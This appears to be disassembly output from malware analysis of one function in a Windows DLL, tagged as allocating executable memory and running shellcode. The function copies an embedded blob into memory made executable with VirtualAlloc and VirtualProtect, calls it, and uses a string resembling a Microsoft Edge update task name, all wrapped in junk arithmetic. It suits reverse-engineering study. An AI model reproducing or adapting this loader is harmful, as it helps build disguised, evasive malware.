Function at 0x18002a160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x338
mov rax, qword [0x180076dc0]
xor rax, rsp
mov qword [rsp + 0x320], rax
mov qword [rsp + 0xb8], 0x1cc6
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rsp + 0xb8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
lea rax, [0x180075010]
mov rdi, qword [rsp + 0x38]
mov rsi, rax
mov rcx, qword [rsp + 0xb8]
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x180076cda]
movsx eax, al
mov dword [rsp + 0xb4], eax
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0xb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
call fcn.180029e70
movsx eax, al
shl eax, 1
mov dword [rsp + 0x40], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x40]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x44]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x18002a3d3
lea r9, [rsp + 0x110]
mov r8d, 0x40
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18002a26a
mov qword [rsp + 0xc8], 1
jmp 0x18002a276
mov qword [rsp + 0xc8], 0
cvtsi2sd xmm0, qword [rsp + 0xc8]
call fcn.18002b530
mov dword [rsp + 0x54], eax
movzx ecx, byte [0x180076cda]
movsx ecx, cl
mov dword [rsp + 0x48], ecx
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
call fcn.180029e70
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x4c], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x4c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x54]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x18002a3d3
xor eax, eax
cmp eax, 8
je 0x18002a3d3
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [rsp + 0x20], 0
jmp 0x18002a331
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movzx eax, byte [0x180076cda]
movsx eax, al
mov dword [rsp + 0x58], eax
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
call fcn.180029e70
movsx eax, al
shl eax, 3
mov dword [rsp + 0x5c], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x5c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.18002b530
cmp dword [rsp + 0x20], eax
jge 0x18002a3d3
mov dword [rsp + 0x24], 0
jmp 0x18002a3bb
cmp dword [rsp + 0x24], 0x5d
jae 0x18002a3ce
mov eax, 1
jmp 0x18002a916
jmp 0x18002a327
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xf0], rax
call qword [rsp + 0xf0]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x350]
xor r9d, r9d
mov r8d, 5
lea rdx, [rsp + 0x114]
mov rcx, rax
call fcn.18000beb0
lea rax, [rsp + 0x120]
lea rcx, str.MicrosoftEdgeUpdateTaskUA_Task_S_1_5_18
mov rdi, rax
mov rsi, rcx
mov ecx, 0x52
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x172]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ae
rep stosb byte [rdi], al
lea rcx, [rsp + 0x114]
call fcn.180027930
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x120]
call fcn.180046640
mov eax, 0x104
imul rax, rax, 0
mov rcx, qword [rsp + 0x350]
lea rax, [rcx + rax + 0x117]
mov rcx, rax
call fcn.180046874
mov qword [rsp + 0xc0], rax
movzx eax, byte [0x180076cda]
movsx eax, al
mov dword [rsp + 0x64], eax
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
call fcn.180029e70
movsx eax, al
imul eax, eax, 9
mov dword [rsp + 0x68], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x68]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x18002a684
cmp qword [rsp + 0xc0], 0
jne 0x18002a520
mov qword [rsp + 0xd0], 1
jmp 0x18002a52c
mov qword [rsp + 0xd0], 0
cvtsi2sd xmm0, qword [rsp + 0xd0]
call fcn.18002b530
mov dword [rsp + 0x7c], eax
movzx ecx, byte [0x180076cda]
movsx ecx, cl
mov dword [rsp + 0x70], ecx
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
call fcn.180029e70
movsx eax, al
shl eax, 2
mov dword [rsp + 0x74], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x7c]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x18002a684
xor eax, eax
cmp eax, 5
je 0x18002a684
mov dword [rsp + 0x28], 0
jmp 0x18002a5d3
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
movzx eax, byte [0x180076cda]
movsx eax, al
mov dword [rsp + 0x80], eax
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0x80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
call fcn.180029e70
movsx eax, al
imul eax, eax, 5
mov dword [rsp + 0x84], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x84]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x88]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.18002b530
cmp dword [rsp + 0x28], eax
jge 0x18002a684
mov dword [rsp + 0x2c], 0
jmp 0x18002a66f
cmp dword [rsp + 0x2c], 0xa
jae 0x18002a67f
xor eax, eax
jmp 0x18002a916
jmp 0x18002a5c9
mov rcx, qword [rsp + 0xc0]
call fcn.180027930
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0xc0]
call fcn.180027930
mov qword [rsp + 0xe8], rax
mov dx, 0x5c
mov rcx, qword [rsp + 0xe8]
call fcn.18002b740
mov qword [rsp + 0xe0], rax
movzx eax, byte [0x180076cda]
movsx eax, al
mov dword [rsp + 0x8c], eax
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
call fcn.180029e70
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x90], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x90]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x18002a818
cmp qword [rsp + 0xe0], 0
je 0x18002a75e
mov qword [rsp + 0xd8], 1
jmp 0x18002a76a
mov qword [rsp + 0xd8], 0
cvtsi2sd xmm0, qword [rsp + 0xd8]
call fcn.18002b530
mov dword [rsp + 0xa4], eax
movzx ecx, byte [0x180076cda]
movsx ecx, cl
mov dword [rsp + 0x98], ecx
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0x98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0], eax
call fcn.180029e70
movsx eax, al
mov dword [rsp + 0x9c], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0x9c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa0]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0xa4]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x18002a818
xor eax, eax
cmp eax, 6
je 0x18002a818
xor eax, eax
mov rcx, qword [rsp + 0xe0]
mov word [rcx + 2], ax
mov r9, qword [rsp + 0xe8]
lea r8, [0x18005fcc4]
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x120]
call qword [rsp + 0x108]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [rsp + 0x30], 0
jmp 0x18002a866
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
movzx eax, byte [0x180076cda]
movsx eax, al
mov dword [rsp + 0xa8], eax
call fcn.180029ea0
movsx eax, al
mov ecx, dword [rsp + 0xa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0], eax
call fcn.180029e70
movsx eax, al
shl eax, 1
mov dword [rsp + 0xac], eax
call fcn.180029e60
movsx eax, al
mov ecx, dword [rsp + 0xac]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb0]
add ecx, eax
mov eax, ecx
movzx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x180076cd6]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.18002b530
cmp dword [rsp + 0x30], eax
jge 0x18002a916
mov dword [rsp + 0x34], 0
jmp 0x18002a901
cmp dword [rsp + 0x34], 0x1b
jae 0x18002a911
mov eax, 1
jmp 0x18002a916
jmp 0x18002a85c
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.18003c9d0
add rsp, 0x338
pop rdi
pop rsi
ret